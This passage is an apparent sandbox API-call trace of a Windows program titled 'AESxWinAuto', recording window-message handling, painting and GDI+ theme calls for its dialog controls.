96 [0065.305] ReleaseDC (hWnd=0x0, hDC=0x180107ac) returned 1 [0065.306] IOleObject:SetExtent (This=0x1f94d4, dwDrawAspect=0x1, psizel=0x2600a24) returned 0x0 [0065.306] IOleObject:GetExtent (in: This=0x1f94d4, dwDrawAspect=0x1, psizel=0x2600a54 | out: psizel=0x2600a54) returned 0x0 [0065.307] IOleInPlaceObject:SetObjectRects (This=0x1f94e0, lprcPosRect=0x2600a9c, lprcClipRect=0x2600ab4) returned 0x0 [0065.308] CallWindowProcW (lpPrevWndFunc=0x6ed47dd0, hWnd=0x10260, Msg=0x47, wParam=0x0, lParam=0x3ae85c) returned 0x0 [0065.308] CallWindowProcW (lpPrevWndFunc=0x6ed47dd0, hWnd=0x10260, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0065.309] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x46, wParam=0x0, lParam=0x3aef7c) returned 0x0 [0065.309] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x46, wParam=0x0, lParam=0x3aef7c) returned 0x0 [0065.310] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x46, wParam=0x0, lParam=0x3aef7c) returned 0x0 [0065.310] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x46, wParam=0x0, lParam=0x3aef7c) returned 0x0 [0065.310] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0065.310] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0065.310] NtdllDefWindowProc_W () returned 0x0 [0065.310] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0065.342] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x3aed3c | out: lplpMessageFilter=0x3aed3c*=0x0) returned 0x0 [0065.343] GetFocus () returned 0x0 [0065.343] SetFocus (hWnd=0x1025e) returned 0x0 [0065.349] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0065.350] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0065.351] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0065.351] GetParent (hWnd=0x401f0) returned 0x0 [0065.351] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0065.351] GetStockObject (i=5) returned 0x1900015 [0065.351] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1a [0065.351] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0xd, wParam=0x1b, lParam=0x1e2030) returned 0x1a [0065.351] GetDlgItem (hDlg=0x401f0, nIDDlgItem=66142) returned 0x1025e [0065.351] SendMessageW (hWnd=0x1025e, Msg=0x202b, wParam=0x1025e, lParam=0x3ae780) returned 0x0 [0065.351] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x202b, wParam=0x1025e, lParam=0x3ae780) returned 0x0 [0065.351] InvalidateRect (hWnd=0x1025e, lpRect=0x0, bErase=0) returned 1 [0065.351] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.352] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3aed44 | out: lpwndpl=0x3aed44) returned 1 [0065.352] GetClientRect (in: hWnd=0x401f0, lpRect=0x3aece8 | out: lpRect=0x3aece8) returned 1 [0065.352] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.352] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.352] GetSystemMetrics (nIndex=42) returned 0 [0065.352] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3aeba8, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.352] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3aeba8) returned 0xb [0065.352] GetClientRect (in: hWnd=0x401f0, lpRect=0x3aebf0 | out: lpRect=0x3aebf0) returned 1 [0065.373] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x70b67a, dwData=0x0) returned 1 [0065.383] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ae860 | out: lpmi=0x3ae860) returned 1 [0065.383] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x77010957 [0065.383] GetDeviceCaps (hdc=0x77010957, index=12) returned 32 [0065.383] GetDeviceCaps (hdc=0x77010957, index=14) returned 1 [0065.383] DeleteDC (hdc=0x77010957) returned 1 [0065.383] GetCurrentObject (hdc=0x180107ac, type=0x1) returned 0x1b00017 [0065.383] GetCurrentObject (hdc=0x180107ac, type=0x2) returned 0x1900010 [0065.383] GetCurrentObject (hdc=0x180107ac, type=0x7) returned 0x1105092f [0065.383] GetCurrentObject (hdc=0x180107ac, type=0x6) returned 0x18a002e [0065.383] SaveDC (hdc=0x180107ac) returned 1 [0065.383] GetNearestColor (hdc=0x180107ac, color=0xf0f0f0) returned 0xf0f0f0 [0065.384] CreateSolidBrush (color=0xf0f0f0) returned 0x14100940 [0065.384] FillRect (hDC=0x180107ac, lprc=0x3aea90, hbr=0x14100940) returned 1 [0065.384] DeleteObject (ho=0x14100940) returned 1 [0065.384] RestoreDC (hdc=0x180107ac, nSavedDC=-1) returned 1 [0065.385] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.385] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.385] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x1023c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.385] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x1023c, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.385] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.385] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.385] GetStockObject (i=5) returned 0x1900015 [0065.385] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.386] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.386] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x10244, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.386] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x10244, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.386] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.386] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.386] GetStockObject (i=5) returned 0x1900015 [0065.386] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.386] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.386] GetStockObject (i=5) returned 0x1900015 [0065.387] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.387] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.387] GetStockObject (i=5) returned 0x1900015 [0065.387] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.387] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.387] GetStockObject (i=5) returned 0x1900015 [0065.387] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.387] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.388] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.388] CallWindowProcW (lpPrevWndFunc=0x6ed47dd0, hWnd=0x10260, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.388] CallWindowProcW (lpPrevWndFunc=0x6ed47dd0, hWnd=0x10260, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.388] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.388] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.388] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x10256, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.388] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x10256, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.388] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.389] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.389] GetStockObject (i=5) returned 0x1900015 [0065.389] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.389] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.389] GetStockObject (i=5) returned 0x1900015 [0065.389] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.389] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x14, wParam=0x701093a, lParam=0x0) returned 0x1 [0065.389] GetStockObject (i=5) returned 0x1900015 [0065.389] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0065.389] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3aed2c | out: lpwndpl=0x3aed2c) returned 1 [0065.389] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x47, wParam=0x0, lParam=0x3aef7c) returned 0x0 [0065.390] GetClientRect (in: hWnd=0x401f0, lpRect=0x3aecd4 | out: lpRect=0x3aecd4) returned 1 [0065.390] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3aecd4 | out: lpRect=0x3aecd4) returned 1 [0065.390] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x47, wParam=0x0, lParam=0x3aef7c) returned 0x0 [0065.390] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0xd, wParam=0x104, lParam=0x1070f58) returned 0x0 [0065.390] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x83, wParam=0x1, lParam=0x3aeb60) returned 0x0 [0065.392] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x5, wParam=0x0, lParam=0x102021e) returned 0x0 [0065.392] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x3, wParam=0x0, lParam=0x13801c1) returned 0x0 [0065.392] GetClientRect (in: hWnd=0x401f0, lpRect=0x3aed00 | out: lpRect=0x3aed00) returned 1 [0065.392] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3aed00 | out: lpRect=0x3aed00) returned 1 [0065.392] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.392] IsWindowUnicode (hWnd=0x1023a) returned 1 [0065.392] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.393] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.393] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.395] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.395] IsWindowUnicode (hWnd=0x10242) returned 1 [0065.395] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.395] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.395] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.396] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.396] IsWindowUnicode (hWnd=0x10254) returned 1 [0065.396] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.396] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.396] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.398] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.398] IsWindowUnicode (hWnd=0x401f0) returned 1 [0065.398] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.398] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.398] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.398] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.398] GetMessageA (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.398] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.398] DispatchMessageA (lpMsg=0x3af06c) returned 0x0 [0065.398] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.398] IsWindowUnicode (hWnd=0x401f0) returned 1 [0065.398] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.398] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.398] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.398] BeginPaint (in: hWnd=0x401f0, lpPaint=0x3aeb90 | out: lpPaint=0x3aeb90) returned 0x180107ac [0065.399] GdipCreateHalftonePalette () returned 0x10080948 [0065.399] SelectPalette (hdc=0x180107ac, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0065.399] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.399] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.399] GetSystemMetrics (nIndex=42) returned 0 [0065.399] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3aeb20, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.399] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3aeb20) returned 0xb [0065.399] SelectPalette (hdc=0x180107ac, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0065.399] EndPaint (hWnd=0x401f0, lpPaint=0x3aeb8c) returned 1 [0065.399] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.399] IsWindowUnicode (hWnd=0x10238) returned 1 [0065.399] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.399] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.399] DispatchMessageW (lpMsg=0x3af06c) returned 0x1 [0065.400] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0065.400] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae69c | out: lpwndpl=0x3ae69c) returned 1 [0065.400] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae640 | out: lpRect=0x3ae640) returned 1 [0065.400] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.400] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.400] GetSystemMetrics (nIndex=42) returned 0 [0065.400] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae500, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.400] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae500) returned 0xb [0065.400] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae548 | out: lpRect=0x3ae548) returned 1 [0065.400] GetCurrentObject (hdc=0xd010943, type=0x1) returned 0x1b00017 [0065.400] GetCurrentObject (hdc=0xd010943, type=0x2) returned 0x1900010 [0065.400] GetCurrentObject (hdc=0xd010943, type=0x7) returned 0xb050946 [0065.400] GetCurrentObject (hdc=0xd010943, type=0x6) returned 0x18a002e [0065.400] SaveDC (hdc=0xd010943) returned 1 [0065.400] GetNearestColor (hdc=0xd010943, color=0xf0f0f0) returned 0xf0f0f0 [0065.400] CreateSolidBrush (color=0xf0f0f0) returned 0x15100940 [0065.400] FillRect (hDC=0xd010943, lprc=0x3ae3e8, hbr=0x15100940) returned 1 [0065.401] DeleteObject (ho=0x15100940) returned 1 [0065.401] RestoreDC (hdc=0xd010943, nSavedDC=-1) returned 1 [0065.401] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.401] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.401] GetSystemMetrics (nIndex=42) returned 0 [0065.401] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4a0, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.401] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4a0) returned 0xb [0065.401] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4e8 | out: lpRect=0x3ae4e8) returned 1 [0065.401] GetCurrentObject (hdc=0xd010943, type=0x1) returned 0x1b00017 [0065.401] GetCurrentObject (hdc=0xd010943, type=0x2) returned 0x1900010 [0065.401] GetCurrentObject (hdc=0xd010943, type=0x7) returned 0xb050946 [0065.401] GetCurrentObject (hdc=0xd010943, type=0x6) returned 0x18a002e [0065.401] SaveDC (hdc=0xd010943) returned 1 [0065.401] GetNearestColor (hdc=0xd010943, color=0xf0f0f0) returned 0xf0f0f0 [0065.401] CreateSolidBrush (color=0xf0f0f0) returned 0x16100940 [0065.401] FillRect (hDC=0xd010943, lprc=0x3ae388, hbr=0x16100940) returned 1 [0065.401] DeleteObject (ho=0x16100940) returned 1 [0065.401] RestoreDC (hdc=0xd010943, nSavedDC=-1) returned 1 [0065.401] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.401] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.401] GetSystemMetrics (nIndex=42) returned 0 [0065.401] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4a0, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.401] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4a0) returned 0xb [0065.401] SetTextColor (hdc=0xd010943, color=0x0) returned 0x0 [0065.401] SetBkColor (hdc=0xd010943, color=0xffffff) returned 0xffffff [0065.402] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.402] IsWindowUnicode (hWnd=0x1023c) returned 1 [0065.402] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.402] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.402] DispatchMessageW (lpMsg=0x3af06c) returned 0x1 [0065.402] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x1023c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0065.402] SetTextColor (hdc=0xe010943, color=0x0) returned 0x0 [0065.402] SetBkColor (hdc=0xe010943, color=0xffffff) returned 0xffffff [0065.402] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.402] IsWindowUnicode (hWnd=0x1023e) returned 1 [0065.402] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.402] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.402] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.402] BeginPaint (in: hWnd=0x1023e, lpPaint=0x3aeb70 | out: lpPaint=0x3aeb70) returned 0x701093a [0065.402] SelectPalette (hdc=0x701093a, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0065.403] CreateCompatibleDC (hdc=0x701093a) returned 0xc010944 [0065.403] GetObjectType (h=0x701093a) returned 0x3 [0065.403] CreateCompatibleBitmap (hdc=0x701093a, cx=1, cy=1) returned 0x4605093b [0065.404] GetDIBits (in: hdc=0x701093a, hbm=0x4605093b, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x3ae640, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3ae640) returned 1 [0065.404] GetDIBits (in: hdc=0x701093a, hbm=0x4605093b, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3ae640, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3ae640) returned 1 [0065.404] DeleteObject (ho=0x4605093b) returned 1 [0065.404] CreateDIBSection (in: hdc=0x701093a, lpbmi=0x3ae690, usage=0x0, ppvBits=0x3aeb84, hSection=0x0, offset=0x0 | out: ppvBits=0x3aeb84) returned 0x3c05094d [0065.404] SelectObject (hdc=0xc010944, h=0x3c05094d) returned 0x185000f [0065.404] GdipCreateFromHDC (hdc=0xc010944, graphics=0x3aeb68) returned 0x0 [0065.404] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0065.404] GdipSetClipRectI (graphics=0x4ba1580, x=0, y=0, width=56, height=19, combineMode=0x0) returned 0x0 [0065.405] GdipCreateMatrix (matrix=0x3aebd0) returned 0x0 [0065.405] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.405] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aebe8) returned 0x0 [0065.405] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.405] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.405] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.405] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.405] GdipCreateRegion (region=0x3aebd0) returned 0x0 [0065.405] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.416] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aebdc) returned 0x0 [0065.416] GdipSaveGraphics (graphics=0x4ba1580, state=0x3aec08) returned 0x0 [0065.416] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfdad0dbd) returned 0x0 [0065.416] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.417] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x3aea7c, fWinIni=0x0 | out: pvParam=0x3aea7c) returned 1 [0065.417] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea2c) returned 0x0 [0065.417] GetCurrentObject (hdc=0xc010944, type=0x1) returned 0x1b00017 [0065.417] GetCurrentObject (hdc=0xc010944, type=0x2) returned 0x1900010 [0065.417] GetCurrentObject (hdc=0xc010944, type=0x7) returned 0x3c05094d [0065.417] GetCurrentObject (hdc=0xc010944, type=0x6) returned 0x18a002e [0065.417] SaveDC (hdc=0xc010944) returned 1 [0065.418] GetNearestColor (hdc=0xc010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.418] GetNearestColor (hdc=0xc010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.418] GetNearestColor (hdc=0xc010944, color=0x696969) returned 0x696969 [0065.418] GetNearestColor (hdc=0xc010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.418] GetNearestColor (hdc=0xc010944, color=0x0) returned 0x0 [0065.418] GetNearestColor (hdc=0xc010944, color=0xffffff) returned 0xffffff [0065.418] GetNearestColor (hdc=0xc010944, color=0xe5e5e5) returned 0xe5e5e5 [0065.418] GetNearestColor (hdc=0xc010944, color=0xd7d7d7) returned 0xd7d7d7 [0065.418] GetNearestColor (hdc=0xc010944, color=0x0) returned 0x0 [0065.418] RestoreDC (hdc=0xc010944, nSavedDC=-1) returned 1 [0065.418] GdipReleaseDC (graphics=0x4ba1580, hdc=0xc010944) returned 0x0 [0065.418] IsAppThemed () returned 0x1 [0065.418] GetThemeAppProperties () returned 0x3 [0065.418] GetThemeAppProperties () returned 0x3 [0065.418] IsAppThemed () returned 0x1 [0065.418] GetThemeAppProperties () returned 0x3 [0065.418] GetThemeAppProperties () returned 0x3 [0065.418] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.418] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae78c | out: pv=0x3ae78c) returned 92 [0065.418] DrawTextExW (in: hdc=0x15010934, lpchText="button8", cchText=7, lprc=0x3ae8c8, format=0x102415, lpdtp=0x2603458 | out: lpchText="button8", lprc=0x3ae8c8) returned 13 [0065.419] IsAppThemed () returned 0x1 [0065.419] GetThemeAppProperties () returned 0x3 [0065.419] GetThemeAppProperties () returned 0x3 [0065.419] IsAppThemed () returned 0x1 [0065.419] GetThemeAppProperties () returned 0x3 [0065.419] GetThemeAppProperties () returned 0x3 [0065.419] GetFocus () returned 0x1025e [0065.420] IsAppThemed () returned 0x1 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] IsAppThemed () returned 0x1 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] IsThemePartDefined () returned 0x1 [0065.420] IsAppThemed () returned 0x1 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0065.420] IsAppThemed () returned 0x1 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] IsAppThemed () returned 0x1 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] GetThemeAppProperties () returned 0x3 [0065.420] IsThemePartDefined () returned 0x1 [0065.420] GdipCreateRegion (region=0x3ae8e8) returned 0x0 [0065.420] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.420] GdipCreateMatrix 